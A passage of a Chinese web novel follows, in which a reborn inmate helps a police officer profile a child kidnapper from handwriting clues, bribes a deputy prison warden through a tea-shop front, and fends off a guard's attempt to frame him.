周晓阳被林燃护着,脸上的伤渐渐褪去,看林燃的眼神从感激逐渐变成一种崇拜的依赖。
林燃没有刻意笼络,只在一次放风时淡淡说了句:
“在里面,骨头硬一点,别人就不敢随便捏你。”
周晓阳用力点头,背脊挺直了些。
林燃没有像“刀疤辉”那样肆意欺凌。
饭照样分,活照样派,甚至“刀疤辉”脖子上伤口发炎,他还让周晓阳帮忙找狱警换了次药。
这种“规矩”之下,“刀疤辉”三人的怨毒里掺杂了些茫然——他们习惯了弱肉强食,却看不懂林燃这手“打一巴掌给颗枣”的路数。
双方开始有了些接触,开始说话聊天,“刀疤辉”这种烂仔反正没脸没皮,倒开始也“燃哥”、“燃哥”地叫了起来,关系甚至有融洽的趋势。
“刀疤哥这是也服了那小子。”
麻杆私下对牛哥嘀咕,眼神复杂。
牛哥揉着还在隐隐作痛的肋骨,闷声道:“服个屁!等佛爷……”
“嘘!”麻杆急忙制止,警惕地看了眼监室另一端闭目养神的林燃。
林燃听见了,没睁眼。
他知道“佛爷”,这个真名陈有仁的老大迟早会找上门,但他现在更需要的是稳住监室内部,把312变成自己的基本盘。
暴力能夺权,但真正的控制需要更多手段——恩威并施,分化瓦解。
这是他在前世那些黑暗岁月里,看多了也悟透了的丛林法则。
这天上午,劳动刚结束,监室门还没锁死,外面走廊传来脚步声和钥匙碰撞的脆响。
“312,林燃!”值班狱警的声音响起,“有人探视!准备一下!”
监室里瞬间一静,随即响起窸窣的低语和压抑的笑声。
在监狱里,有人探视是大事,尤其是“外面有人”的象征意义,往往决定着犯人在监区里的地位和脸面。
“哟,燃哥,有人来看你啊?”刀疤辉扯着嘴角,故意拉长声调,“是家里人还是……相好的?”
牛哥嘿嘿笑起来,麻杆也露出暧昧的表情。连周晓阳都好奇地抬起头。
林燃没理会他们,心里却是一动。
按照时间推算,如果秦墨那边有了进展,差不多就是这几天。
他跟着狱警往外走,身后传来刀疤辉拔高的、明显是说给他听的声音:
“肯定是妹子!咱们燃哥长得俊,外面肯定有姑娘惦记!就是不知道这次来的‘女朋友’,认不认识咱们燃哥啊?哈哈哈——”
哄笑声被关上的铁门隔断。
林燃面无表情地穿过一道道铁门,手铐在腕上冰凉。
他想起上次秦墨离开时愕然的表情,想起自己最后喊出的那两个字:“纸条”。
会见室的光线依旧惨白。
玻璃墙对面,秦墨已经坐在那里。
她还是穿着便装,但脸色比上次更沉,眼底有淡淡的青黑,显然是熬夜所致。
看到林燃进来,她的眼神锐利地扫过来,没有上次的疑惑,只有一种紧绷的审视。
林燃坐下,拿起通话器。
“秦警官。”他先开口,声音平稳。
秦墨盯着他看了几秒,才缓缓拿起话筒。
她没有寒暄,直接切入正题,声音压得很低,语速很快:“你怎么知道会撕票?”
林燃心脏微微一沉。果然。
“孩子找到了?”他问。
“死了。”
秦墨吐出这两个字时,嘴唇抿成一条直线:
“昨天下午,在南郊废弃砖厂的砖窑里。法医初步判断,死亡时间在失踪后24小时内。”
也就是说,绑匪在放下第一只鞋和那张“不要报案”的纸条时,孩子很可能已经没了。
所谓“平安”,只是拖延和戏耍。
林燃叹了口:“很简单,因为要控制一个正常的活人,远比想象的要难。
即使是一个小孩,他也会哭、会闹、会喊,要管他吃和保温,要让他安静休息……这些都非常麻烦,尤其是独自作案的孤狼式绑匪。
基本上无力完成控制人质、转移人质、放出勒索信息、等待筹款、取款的全流程,所以基本上都会撕票,而且往往是在前两个步骤就撕票。”
听到这,秦墨沉默了。
她不得不承认林燃说得对。
“在第一次告知绑架时,对方是留了什么信物?
是贴身的衣物吧?”林燃追问。
“鞋子,孩子左脚穿的鞋……”
“果然。”林燃低头沉思几秒,马上说道:
“我就猜到会是用纸条传递信息,还会带着一件随身信物,既然是鞋子,那这个灭口的迹象更明显了。
现在外面天气这么冷,如果绑匪想留孩子活口,不会脱孩子的鞋。
绑匪也不可能再去给孩子另外买鞋。所以不需要穿鞋的理由就是……人已经死了。”
秦墨默认地点了点头。
但她很快反应过来,马上问道:
“那你是怎么知道这个绑匪会留纸条的?”
第十三章 笔迹
林燃笑了笑:
“这个很简单啊,现在是21世纪,新时代了。
大哥大、寻呼机肯定会有电讯台的记录,用纸条、威胁信的方式自然是最好的。”
这个解释倒也符合情理,秦墨没有多怀疑什么。
“纸条的原件带了吗?”
林燃问。
秦墨犹豫了一下,从随身携带的文件夹里抽出一张照片,隔着玻璃展示给他看。
照片拍得很清晰,纸条上的字是钢笔写的,笔画工整,甚至有些刻意的端正。
林燃的目光迅速扫过字迹。
他的瞳孔微微一缩。
这张纸条是之前刚发生绑架时的交易提示内容,写着:
“……宏江公园西门进,200米,于小桥处止步,顺墙根向右,见一亭,亭边一石凳,其下有信。”
看到这,林燃嘴角略微弯起一片弧度。
“宏江是安江之前还归龙山市时的称呼了吧,这个86年,宏江就改名安江了。
这个人年纪应该挺大了,起码35岁往上,不然现在还改不了宏江这个叫法。”
林燃说的这点,秦墨点了点头,专案组已经有人提出了这点特征。
下一封纸条就是绑架犯要求的赎金内容。
“阅后撕掉。”
他轻声念出照片一角另一张纸条上的四个字——
那是之前绑匪要求家属找到纸条后“阅后撕掉”的指令。
而那个“阅”字……
首笔一点,重得几乎戳破纸背;末笔一钩,甩得张扬跋扈。
“这个‘阅’字,”林燃抬起头,看向秦墨。
“你们笔迹鉴定专家怎么说?”
秦墨明显怔了一下。
她没想到林燃会直接锁定这个细节。
专案组内部确实有专家提出这个“阅”字写法特殊,可能指向特定职业习惯,但尚无定论。
“你怎么看出来的?”
秦墨没有回答,反而反问。
“我研究过很多案子。”
林燃淡淡道,没有多做解释,“这种写法,说明写字的人经常单独写这个字,而且写的时候带有一种‘批示’‘审阅’的心态。不是普通文员,更像是……领导,或者经常需要批阅文件的人。”
他顿了顿,补充道:
“而且,这几张纸条的措辞,干练、准确、带着一种文言文的简洁感。
绑匪受教育程度不低,甚至可能有古文功底。
他熟悉安江本地地形,但对某些地点的描述,用的是旧称或者更书面的叫法——
比如‘亭’,现在很少有人这么说了,一般叫‘凉棚’或者直接说‘那个小房子’。”
秦墨的眼神变了。
林燃说的这些,专案组内部一些老刑警都没有看出来!
这个很关键!
“你们肯定做了排查吧?但没有效果的原因在于排查的范围太广了。”
林燃继续道。
“我知道你们一般排查的习惯,财政局长的社会关系、经济纠纷、官场恩怨……这些当然要查。
但绑匪这种冷静、甚至是傲慢的作案手法,更像是一种‘展示’——
展示他的智力,展示他对警方的戏弄。他的动机可能不是钱,至少不全是钱。”
“那是什么?”
“可能是报复,也可能是……某种扭曲的成就感。”
林燃继续道:
“他享受这种用文字牵着所有人鼻子走的感觉。
这种人,往往在现实生活中感到压抑、怀才不遇。
或者遭遇了重大的挫折,比如……职务晋升受阻、学术成果被剽窃、感情受挫,等等。”
“这代表你们应该从体制内,特别是文化系统里,有古文功底,86年之前就在安江工作,与这个财政局长有接触,又符合相关画像的人开始查起。”
她眼睛一下亮了,这一下就框定了一个十分狭小的排查范围!
只要顺着这个范围去找,那就只有几个怀疑对象!
这是一个重大的突破。
“哇!你太厉害了,这……”
但接下来,秦墨感激的话语戛然而止,她想到一个关键问题。
“你为什么帮我?”
她终于问,“你一个犯人,为什么要卷进这个案子?”
是啊,一个警校优秀毕业生,却涉毒被关,现在却想方设法和自己联系。
想要帮自己,这也太可疑了!
他总不能说是警校习惯导致吧。
林燃没有立即回答。
通话器里只有细微的电流声。
他看着玻璃对面那双清亮的眼睛,缓缓道:
“两个原因。第一,我需要立功,需要外部的关系。第二……”
他顿了顿,声音更沉:
“我讨厌这种拿孩子下手的人渣。如果能帮上忙,我愿意。”
这句话半真半假。
但秦墨听出了其中的真诚。
“你想要什么?”
她问得直接。
“如果我的分析对破案有帮助,我希望你能以‘线人提供线索’的方式,把我的功劳记下来。不用公开我的名字,但记录要进档案。”
林燃看着她的眼睛:
“另外,我希望我们能建立一种……长期的联系。我在这里面,有些事需要外面的人帮忙查。”
秦墨没有立刻答应。
她在权衡。一个囚犯的刑侦分析,可信度有多少?
但如果他真的能提供关键方向……
“你刚才说的‘阅’字和作案人特征,我会向专案组汇报。”
她最终说道,“但能不能采纳,不是我一个人能决定的。”
“足够了。”
林燃点点头。
“另外,建议你们重点排查文化系统、教育系统的人,特别是最近几年在职务、职称或者重要项目上受过挫折的。
还有,查查安江本地喜欢研究地方志、古文,并且书写习惯工整的人。
绑匪对安江老城区、废弃工厂、公园这些地方很熟,可能是本地人,或者在此长期生活。”
秦墨把这些记在心里。
她看了眼时间,探视时间快到了。
“林燃,”她最后问了一个问题。
“你上次说,你是因为运毒进来的。但你是警校毕业生。你真的……运毒了吗?”
林燃笑了,笑容里没有温度:
“秦警官,你觉得呢?”
他没有回答,但眼神里的坦然和那一丝未曾磨灭的锐气,让秦墨心中疑窦更深。
第十四章 母亲
通话器挂断。
林燃被狱警带离会见室。
回监区的路上,他脑海中反复回放着那个“阅”字的写法,以及纸条上那种刻意工整、却暗藏倨傲的文风。
一个藏在文化系统里的凶手。
而自己或许已经解开了答案。
监区铁门在身后关闭。
走廊里传来其他监室隐约的喧哗。
林燃深吸一口气,调整好表情,准备迎接刀疤辉等人关于“女朋友”的戏谑追问。
但他的影响,已经飞出了这座高墙。
风起了。
…………
接下来,林燃心思都在外面秦墨专案组那里,可当第二天,林燃被叫到名字,说有探视时,心里微微一顿。
专案组这么快就凭自己的线索破案了?
不可能吧?
应该不是,而且就是破案了,也不会这么快就来找自己,那会是谁?
穿过冰冷的走廊,走进那间熟悉的、被玻璃隔成两半的会见室,他一眼就看到了对面那个身影。
瘦小,佝偻,头发花白了大半,穿着一件洗得发白的旧外套,双手紧紧攥着一个破旧的布包。
是母亲,陈水芬。
林燃的脚步骤然停住。
一瞬间,无数根细针狠狠扎进心脏,痛得他无法呼吸。
前世母亲临终前瘦骨嶙峋、死不瞑目的样子,与眼前这个苍老却依然强撑着挺直背脊的身影,在眼前重重叠叠。
他用力闭了下眼,再睁开时,脸上已经挂上了一层刻意调整过的、轻松甚至带着点笑意的表情。
他快步走到玻璃前坐下,拿起通话器。
“妈。”
他喊了一声,声音平稳,甚至还带着点笑意。
“你怎么来了?路上这么远。”
陈水芬隔着玻璃,眼睛一下子就红了。
她颤抖着手拿起话筒,嘴唇哆嗦着,半天没说出话。
只是贪婪地、仔仔细细地看着儿子,目光从他额角已经淡去的伤疤,移到脸上,再到身上那套刺眼的囚服。
“燃燃……”她终于开口,声音嘶哑,带着浓重的哭腔,
“你……你瘦了。在里面……他们打你没有?吃得好不好?晚上冷不冷?”
一连串的问题,每个字都浸满了母亲的心碎和担忧。
林燃感觉喉头哽得厉害,他用力吞咽了一下,脸上的笑容扩大了些。
语气甚至带上了一点年轻人特有的、满不在乎的调调:
“妈,你看你说的,我好着呢!这里面规矩严,没人敢乱来。
吃得饱,睡得着,还不用操心工作,比在外面轻松多了。”
他故意说得轻描淡写,甚至开了个拙劣的玩笑。
但他知道,母亲那双饱经风霜的眼睛,一定能看出他囚服下比入狱前结实了不少的轮廓,那是频繁冲突和刻意锻炼留下的痕迹。
也能看出他眼神深处那不属于这个年纪的沉静与锐利,那是两世苦难磨砺出的东西。
“你别骗妈……”陈水芬的眼泪终于滚落下来,她用手背胡乱抹着。
“你爸他……他听说你出事,一下子就病倒了,现在还在床上躺着……都是我们没本事,护不住你……”
听到父亲病倒,林燃的心脏又是一抽。
前世,父亲就是在他瘫痪后,气郁攻心,早早撒手人寰。
这一世,他虽然暂时避免了最坏的结局,但给这个家带来的打击和阴影,依旧深重。
“妈!”
林燃的声音陡然加重,打断了母亲的自责,他身体前倾,目光紧紧锁住母亲泪眼婆娑的脸。
“你听我说,爸病了就好好看病,钱不够我想办法。最重要的是,你们俩一定要好好的,健健康康的,等我出去!”
他顿了顿,一字一句,清晰而坚定:
“妈,我是冤枉的。我没碰过那东西,一克都没碰过!是有人害我,给我下了套。你们一定要信我!”
陈水芬用力点头,泪水流得更凶:
“妈信!我儿子什么样妈还不知道吗?你怎么会去碰那些害人的东西……可是,可是他们说证据确凿……”
“证据可以伪造,人可以收买。”
林燃的声音压低,语速加快,“妈,现在不是哭的时候。你们好好的,保重身体,就是对我最大的支持。我在里面没事,真的。你看我,胳膊腿都齐全,精神也好。我还认识了几个……挺照顾我的狱友,没人欺负我。”
他努力让自己的语气显得可信,甚至带着点“因祸得福”的轻松感。
他必须给父母希望,必须扭转前世那种全家被绝望拖垮的恶性循环。
陈水芬看着儿子“若无其事”的脸,看着他眼中强撑的镇定和那不容错辨的、属于她儿子的倔强与清白。
心里那根紧绷的弦,似乎稍微松了一点点。
儿子没垮,她的天就不能塌。
“妈,你这次来,除了看我,还有件事。”
林燃话锋一转,声音压得更低。
目光警惕地扫了一眼旁边背对着他们、按要求在监听,但实际低头瞌睡的狱警。
陈水芬立刻领会,也往前凑了凑,手指紧紧攥着话筒。
“你回去后,”林燃的声音几不可闻,嘴唇几乎贴着话筒,确保只有母亲能听清。
“去城西老街,找一家叫‘老陈茶铺’的店。”
陈水芬困惑地看着他,但还是用力点头。
“买一斤最贵的普洱,不要茶叶,只付钱。”
林燃盯着母亲的眼睛,确保她听懂了每一个字。
“付钱的时候,把一张纸条夹在钱里。纸条上写着我的名字,还有‘312监舍,林燃’。”
陈水芬的呼吸急促起来,她不是傻子,立刻明白了儿子在做什么——他在打通关系,在用钱铺路。
“妈,这事只能你一个人知道,连爸都不能说。”林燃的声音斩钉截铁。
“钱,家里还有吗?”
陈水芬咬了咬牙:“有!可这是你爸存着给找律师的……”
林燃点头:
“先紧着这边吧,现在律师也没用。”
陈水芳见儿子决定好了,她便点头:
“妈明天就去!”
“不,别急。”
林燃摇头,“等五天后再去。去了之后,什么都别问,付了钱,放下纸条就走。
记住了,一斤最贵的普洱,不要茶叶,只要他们收钱。”
第十五章 钱
这是他从前世记忆里挖出来的一条线。
城西老街的“老陈茶铺”,表面上是个不起眼的茶叶店。
实际上是这座监狱某个实权人物洗钱和收黑钱的暗桩。
这条线,是他上辈子在监狱里摸爬滚打多年,从那些老油条犯人嘴里零星拼凑出来的隐秘。
那时候他没能力用。
现在,他要提前用上。
钱能通神。
尤其是在这种地方,钱是唯一的硬通货。
陈水芬用力点头,把儿子的话一个字一个字刻进心里。
“好!给多少钱?存的律师费就2万……”
“两万都给了吧。”
这个数字是林燃大概了解过的。
这条线上,两万几乎是打通关系的最低价,要走通这条线,这个钱必须给。
“但现在上诉还没消息,这要是得请律师的话,咋办……”
陈水芬还有些心疼这么多钱。
在2000年末的此时,平均工资才四五百块钱,这钱可以在小城市买套楼梯房了,也足够一家人过几年日子了。
“妈,你相信我,我这案子很复杂,一般都律师没用,得靠我自己……”
林燃欲言又止,他很想把自己的布置和想法都和母亲说出来。
可现在敌在暗我在明,他前世用了那么久,也无太多所获。
只能隐隐感觉到背后一个巨大的黑幕,双亲知道的越多,危险也越重。
在这个情况下,他宁愿先独自面对。
“好……”
听到儿子肯定的答复,她还是点了点头。
从小到大,儿子一直是有主意的一个人。
她不懂这些弯弯绕绕,但她懂儿子,需要她做什么就做什么。
只要能让儿子在里面好过一点,哪怕只是一点点,倾家荡产她也愿意。
“燃燃。”
她看着儿子,眼泪又涌上来,但这次带着一丝光亮。
“你在里面,一定要好好的……妈等你,爸妈都等你出来。咱们家,不能散。”
林燃喉头又是一哽,他用力点头,脸上那个刻意维持的笑容终于有了一丝真实的温度:
“嗯,等我。妈,你回去告诉爸,让他好好养病。
告诉他,他儿子没给他丢人,也没做亏心事。让他挺住,等我出去,咱们一家好好过日子。”
探视时间快到了。
狱警已经开始示意。
林燃最后深深看了母亲一眼,像是要把她此刻的样子刻进脑海里。
然后他站起身,对着玻璃那边的母亲,咧开嘴,挑了下眉,露出一个二十岁青年该有的、带着点痞气却又无比坚定的笑容。
“妈,走了啊。保重。”
他放下话筒,转身,挺直背,没有敢再回头。
因为他知道,母亲一定在玻璃那边,一直看着他,直到他的身影消失在走廊尽头。
走出会见室,冰冷的气息重新包裹全身。
林燃脸上的笑容瞬间消失,只剩下深潭般的平静。
第一步,稳住家里,成了。
第二步,打通外部的线,已经“上鱼”了。
第三步,打通内部的线,也已经埋下。
接下来,就是在这座吃人的监狱里,活下去,积累力量,然后,找出那个把他扔进这里的人。
昏暗的走廊里,他的眼神锐利如刀。
…………
安江监狱里的日子离不开钱。
但安江监狱不能带钱进去,只能记账。
“账”上的钱决定了你在里面的活的是像人还是像狗。
没钱只能吃“公粮”——
就是一日三餐,每人两个窝头,一碗一点油都没有的叶子汤。
如果一天两顿饭只吃公粮,因为没有油,时间长了就掉秤。
一个160斤体重的胖子没几个月就瘦到120斤了,整个人脸上都是菜色。
但如果“账”上有钱,那在里面的日子就舒服太多,可以吃“小炒”——
其实就是普通的家常菜,但是吃够了“公粮”的人来说,简直是无上美味。
当然价格也不便宜,一只鸡50块钱,一份辣椒炒鸡蛋卖十块钱。
在2000年的现在,一个月工资吃不了几顿饭。
所以这暴利难以想象,所以这里面卖小炒的都是关系户,甚至得有上面领导的关系。
而“小卖部”的油水更多了。
犯人都必须在监狱“小卖部”买物资,想要衣服、被套、牙刷,方便面、书、烟有钱都能想办法。
只是物价是外面的几倍往上。
外面经常有人说坐牢是“吃上公家饭”、“一日三餐铁饭碗”。
这在里面人看来,都是没进来过才这么幼稚,“市场经济”可以说在里面运行的更为普遍。
有钱里面就是人,没钱就是狗!
但里面花钱的地方到处是,赚钱的地方却没多少。
虽然大部分人每天都要上劳动岗,但却没有工资。
因为服刑人员的劳动改造是强制性的,不是“工作”,二者之间有着本质差别。
虽然监狱法规定,“监狱对参加劳动改造的服刑人员,应当按照有关规定给予报酬。”
但劳动报酬是没有“最低工资标准”的!
这个每所监狱都不太相同,毕竟监狱里是有工厂的,像纺织、印刷、机械加工等都有,很多考试试卷、书包手套都是监狱里做的。
而工厂效益、地区差异都影响报酬。
就安江来说,这边的有三个厂,但报酬都很低,一个月拼死拼活也就几十块钱,最多百来块。
靠这个想生存,很难。
何况林燃现在还这么缺钱!
父母准备为他请律师的棺材本都被他用来找路子了,家里一穷二白,不可能寄钱进来。
生存是第一要义!
想要挣扎下去,他必须尽快在监狱里找到赚钱的路子!
可还没等他赚钱,收钱的就来了。
“来来来,要什么,来登记了啊。”
探视后过了几天,是月初。
管教老严瞪着一双“鱼泡眼”,开始用警棍敲着每个监舍的铁栅门,来卖物资了。
老严在安江呆了二十几年,一直也没混上去,干脆就“做点生意”。
他眼红“小卖部”吃的油光满面,干脆私底下自己也做起了监狱里的“物资”生意。
他也想方设法带了东西进来卖,只是价格比较贵,质量比“小卖部”还差。
但管区里的犯人不买还不行,不然老严就会给“小鞋”穿。
在这里,得罪干部可不是小事。
第十六章 李昌东
“两条烟是吧?100,两本《武侠》是吧?……50块,那个,小伙子,你要不买点什么?”
老严这次巡到了312监室,刀疤辉他们都知趣的买了点东西,可轮到林燃了,他却没有作声。
他不是不明白里面的规矩,可偏偏此时正是最麻烦的时候。
身上没钱了。
“怎么?耳聋了?”
见林燃没有反应,老严声音大了一些,敲了下铁栅门。
“报告!我现在暂时不需要!下次再买!”
干部喊话,犯人必须当即立正。
林燃虽然站着回话,但语气并不服软。
钱是英雄胆,在这里,有钱没钱都地位千差万别。
犯人之间最看不起的就是没钱、没人寄钱、没人探视的。
上次打了两架,刀疤辉和两个打手还只是表面服软了。
要是让他们看出自己此时虚弱的一面,监舍里维持的和平,很可能就告破!
这些“豺狼”很可能会联合帮派同伙,找自己新仇旧仇一起报!
所以林燃明明知道自己会得罪老严,但此时他没办法说自己没钱!
“哟,你新来的吧,才一个多月吧?
上个月初登记买东西的时候,你不在,可能不太清楚规矩,这里……
不是你说‘不用’就‘不用’的,明白没有?!”
老严以为林燃只是一个不懂事的新人,此时不能失了威风。
他干脆警棍往脸上一指,准备杀鸡儆猴。
“报告,我确实不用。”
没想到林燃还真楞头青一样,站的笔直,语气也笔直!
这下把同监舍的另外几人给看懵了!
这小子真的这么虎啊?都敢挑衅干部?
“嘿!你还挺有意思哈!”
老严一下来了气,他干脆掏出钥匙,一声喝道:
“312监舍都有!立正!靠墙!查监!”
刀疤辉几人听到命令,都乖乖靠墙,面壁站好,这是管教要进来干人的意思了。
他们三人心底直乐。
开始被林燃“砸了板”,还以为这是个看起来年轻,实际上是个心狠手辣的“二进宫”。
可没想到,这小子连这点规矩都不懂?
那老严会好好收拾他!
这下有乐子了。
老严气势汹汹的站在林燃背后,警棍用力的扒拉了几下,让这小子腿叉开,又装模作样的在他身上例行搜身。
“哈!这是什么?你小子还有这违禁品!?”
老严从自己裤兜里掏出一本黄色小书,往林燃裤兜一塞,接着又抽出来。
这书就变成林燃的违禁品了。
林燃瞧了一眼那书,是一本《龙虎豹》。
估计是这老严自己带进来卖的,顺手就用了栽赃自己了。
“可以啊,私藏禁书,哟,还是《龙虎豹》!你等着关禁闭吧!走!”
这下栽赃的十分粗糙,谁都能看穿,但老严要的就是这种粗糙。
老子就是这里的规矩!
他一把抓住林燃的衣领脖子,警棍不客气的往后一推,就把年轻人推出了监舍。
“哦嚯嚯。”
刀疤辉几个人也不用再装立正,见到林燃吃瘪,他们乐的当即就吹起了口哨。
太好了!一口气总算出了!
但被推了一把的林燃,却没那么听话,他回头喊道:“报告,我有事报告。”
老严的警棍差点挥到他鼻子上:
“怎么,你想说这书不是你的?!我告诉你,别还想推脱到别人身上,我跟你讲,这我说是谁的,这就是谁的!”
“我报告,这书是有人给我的。”
“哼,谁啊!我告诉你,就是天王老子来……”
老严不知道这小子这个时候,还在这纠缠什么,明明这东西都知道是自己栽赃给他的,还在乱辩解什么?
冤枉你的人比你还知道你有多冤枉。
他有些恼怒,甚至想在这当面就“修理”几下这愣小子。
可当林燃说出接下来几个字后,老严那句天王老子,就只能噎在嘴里。
“李狱长给我的。”
“你……”
老严本想再骂,可当听清林燃说出那几个字后,他有些发懵。
安江监狱是有位副监狱长叫李昌东,但这犯人怎么攀扯到他身上去了!
但他很快反应过来,这小子肯定是见到要关禁闭,说胡话了,手上劲头不减。
“你找死是吧!我告诉你,乱讲话是要受罚的,乱攀扯领导更是要受大罚!”
“你不信可以向李狱长确认!”
“嘿!今天还有意思了哈!有意思有意思!”
老严他本来只是每月初的到监舍打个秋风,碰到个不长眼的,想教训一下,却没想到遇到个傻的。
这下干脆就一下给他干到底,敲打下整个监区。
他怒极反笑道:“可以可以,你说是李狱长给你的,那我现在向狱长确认,可以吗?
别说我不给你机会了啊,可如果不是,你小子等着关十天禁闭吧!”
他说完,就拉着林燃到了管教区去了。
到了管区,老严就往总机打电话,准备往狱长办公室转。
一边拨号,一边拿眼睛瞪林燃。
老严现在手很痒,想等那边给这个疯子一个答复后,就好好把他关到小黑屋收拾一顿。
旁边当班的狱警听说了情况,也凑过来看热闹。
都觉得这小子是关傻了,这李狱长怎么能得罪?
这样随便乱攀扯,到时比挨顿打严重的多,那是天天有罪受。
“嘟嘟,欸,欸,狱长您好,没打扰吧……”
电话接通,老严马上换了一副嘴脸:“……是这样,这边312监区有个犯人发神经,乱说话,还说您给他送了本书,没这回事吧……嗯嗯,好的,对嘛,怎么可能,那我好好收拾,欸欸,好的,打扰了。”
老严很快挂了电话。
一脸冷笑举起警棍:“电话也打了啊,这你的辩解不属实,人家李狱长怎么可能和你这种犯人有接触?
我告诉你,今天啊,你先给老子跪着挨一百下抽,再给你十天小黑屋!”
说完,老严就撩起袖子,警棍就要挥上来。
林燃脸上也一脸铁青,他心里也十分紧张:
“难道这没有用?”
可就在警棍要挥下的档口,电话响了。
老严愣了一下,手上警棍止在半空。
“铃铃铃……”
清脆座机铃声在房间里有些突兀。
老严只得暂停动作,弯腰接起电话。
他没想到居然是之前副狱长办公室打过来的。
“嗯,嗯……是的,是个新犯人,对……好像是叫林燃……啊?”
说到后面,像是听到什么不可思议的话语一般,老严睁大了眼睛。
“噢,那……好的,那我把他送过来。”
第十七章 学法律
老严放下电话时,手都有些抖。
他不可置信地望向林燃,巨大的恐惧袭来。
刚刚电话里李狱长让他把这个叫林燃的带过去,明显是有关系。
难道这小子真的和李狱长认识?
那这不就得罪领导了!
但此时他不得不动,愣了一会,就带着林燃往行政区而去。
脑袋里不停想着等下怎么回转,万一真是有关系的,那怎么圆自己的说法。
中间对林燃的态度也有了些变化,不再轻易得罪这小子。
李昌东是安江监狱的副监狱长,他在安江第一监狱整整干了20年。
可在03年后他就突然调到了安江司法厅,接着到省高院任职副院长,接下来就是平步青云。
前世在2012年的样子,林燃好像还听过他的消息,因为反腐而落马了。
而之前他请母亲买茶叶的“老陈茶铺”,其实就是李昌东的情妇开的,这里是他专门“提篮子”的据点。
“提篮子”是道上对于收黑钱的比喻。
这在老犯人之间,这个路子的传言时有耳闻。
“老陈茶铺”里的茶叶贵得吓人,一年也难得见有人进来,可偏偏就没关门。
就是犯人家属过来“上供”的结果。
林燃也逼不得已,现在狱里强敌环饲,鳄老大受谁之托还没查清楚,躲过第一次袭击算是前世情报给的机会。
可谁知道下次攻击会在什么时候?
由谁发出?
双拳难敌四手,自己现在能打一次,打两次,可一失手,对方可是奔着要自己瘫痪来的!
林燃必须要找个靠山,起码先在狱中创造出相对安全的环境。
他便想到了这条路子。
很快到了狱长办公室,一进门。
一个弥勒佛一样的胖领导坐在位置上,李昌东见人带来了,只是眼皮轻微一抬,就摆摆手让老严先出去。
“狱长,这小子在监区私藏违禁书籍,还乱说话,说是您……这个给他的。”
老严见李昌东态度冷淡,担心真和林燃有关系,等下关了门,这小子说不定还怎么说自己,干脆来个恶人先告状。
林燃此时马上开口:
“狱长,这个我前面说错了,实际上是他嫁祸给我的,我才刚进我们监狱,怎么可能有这些东西。”
“哈,你现在又撒谎了,我……”
老严还想说什么,李昌东略显厌恶地一摆手,示意他不要再说了。
“好了,这事我处理,你出去吧。”
一场嫁祸违纪,本要关禁闭的风波就此结束。
这点把戏在领导面前不值一提。
老严总算知趣的走后,李昌东一指眼前的年轻人。
“你以前认识我?”
林燃微笑摇头。
“那是谁教你这么做的?”
李昌东见小子不像愣头青,干脆单刀直入。
可林燃只是继续微笑摇头。
“没人教我,您放心,我是上道的人,我什么都不知道,我也什么都没做。”
这话一出,让李昌东略微高看了林燃一眼。
他站起身,在座位旁走了几步,之前接到这两万块时,他还十分诧异。
他这条路子,在安江监狱是名副其实的高端路子。
这“老陈茶铺”设置得十分隐秘,只接“大单”。
这安江监狱里,犯人都是又奸又猾,能榨出油水的不多。
一般犯人根本没机会搭上自己这条线。
这么年轻的小子,一来就这么上道,实在太反常了。
所以一接到消息,他就马上安排人调来了林燃的档案。
看到一个前途大好的警校生,居然因为运毒被判了十年,这让他大感意外。
而且一进来,就连关了两次禁闭,放倒了两波人,还都没什么大事,这小子不简单!
“啧”。
李昌东坐了下来,啜了下牙花子,装出为难的表情,盯着林燃道:
“哎呀,你这事很难啊,小伙子太可惜了,本来也是穿制服的吧?”
被点破警校生身份的林燃眼睛一暗,从预备警官到监下囚,这反常确实是他心里最大的痛。
李昌东抓住他表情变化的一瞬。
“你如果想通过我来把你的事‘翻过来’,那真的不好意思,我办不到,那东西你收回去吧。”
涉毒是重罪,何况还是学警涉毒,这事底子太复杂了,这钱不好拿!
李昌东起了退钱的心思。
可林燃一摆手:
“不,李狱长您误会了,我知道我的事很麻烦,也很难,但我没想过让您‘翻过来’,我只是有一点小的要求而已。”
“嗯”?
李昌东闻言抬头,如果不是说想通过自己翻案,那这事就简单多了。
只是眼前明明只有20出头的林燃,说话间的分寸掌握,远不像一个涉世未深的年轻人。
李昌东只能认为警校生还真是不一样,比一般大学生早熟得多吧。
“那,这个可以说说”
“我要求不高,一个希望您能在这个月的管理考评中,给我一个亲口宣布的通报表扬。”
“噢,这个啊……唔,没问题。”
李昌东一下反应过来了,在狱中,对犯人每月每周也要进行考评打分的,对其中改造较好,劳动表现积极的,可以多表扬几句,有些还能积分,用于年底减刑。
但监狱长亲自宣布的就更不一样了,这代表这个犯人是监狱领导所关注的、照顾的,这人“有关系”。
一旦被监狱领导点名表扬,基本一般都监狱势力,不会轻易动手欺负,算是一点护身符吧。
“另外还有一点。”
“还有?”
李昌东在安江深植这么些年,还是第一次有犯人敢和自己讲条件的。
他有些诧异抬起头,眼前身穿蓝底白纹囚服的犯人一脸沉稳,完全打破了两人间悬殊的身份差距,这让他有些不适。
本想一口拒绝。
但想到那两万块,李昌东还是忍耐下来。
无奈给得太多了。
“我想申请去监狱阅览室做杂工。”
“阅览室?噢?为什么?给我一个理由。”
现在从上到下都要求人性化管理,监狱司法系统也在号召“用心用情做好教育改造工作”。
全国监狱兴起“教育改造”的风潮,都设立了阅览室、图书室,还规定了每个月多少小时的教育时间。
犯人甚至可以在里面学技能,参加考试培训,甚至还能进行特别学历授课。
“我想学法律。”
李燃开口道。
第十八章 护身符
林燃一脸认真。
听到这两个字,李昌东原本紧绷的脸色,一下舒展开来。
搞半天,原来是这个啊。
“哈,理解理解,可以,这个没问题。”
李昌东爽快地答应了林燃的要求。
这下他脑子里的疑惑就解释得通了。
因为像林燃这样想在狱中自学法律的人其实不少,很多犯人都是在被判刑后才意识到法律的重要性。
都想 在狱中学习掌握法律知识,特别是刑法知识,研究减刑条件,想方设法上诉,或者复盘自己进来时所犯罪罚。
虽然这些动作并无太大意义,但这类人在狱中不算少数。
林燃此时提起,完全合情合理。
而且阅览室的杂工,工作时间短,内容轻松,也不辛苦,还能接触不少书籍,算是监狱里最好的“劳动号”。
难怪这小子愿意花钱来买这个。
两万块钱,一个“护身符”、一个阅览室的工作机会。
价格略贵,但也大差不差。
有来有往嘛,以后小事也能卖个顺水人情。
李昌东很高兴这笔交易。
谈妥后,当即让外面等着的老严将林燃送回监区。
而林燃长长地吐出了一口气。
两万块很多,特别对于现在的林家,可以算是全部的存款,也可以说是父母全部的爱。
林燃原本有些紧张,担心母亲会舍不得这笔钱。
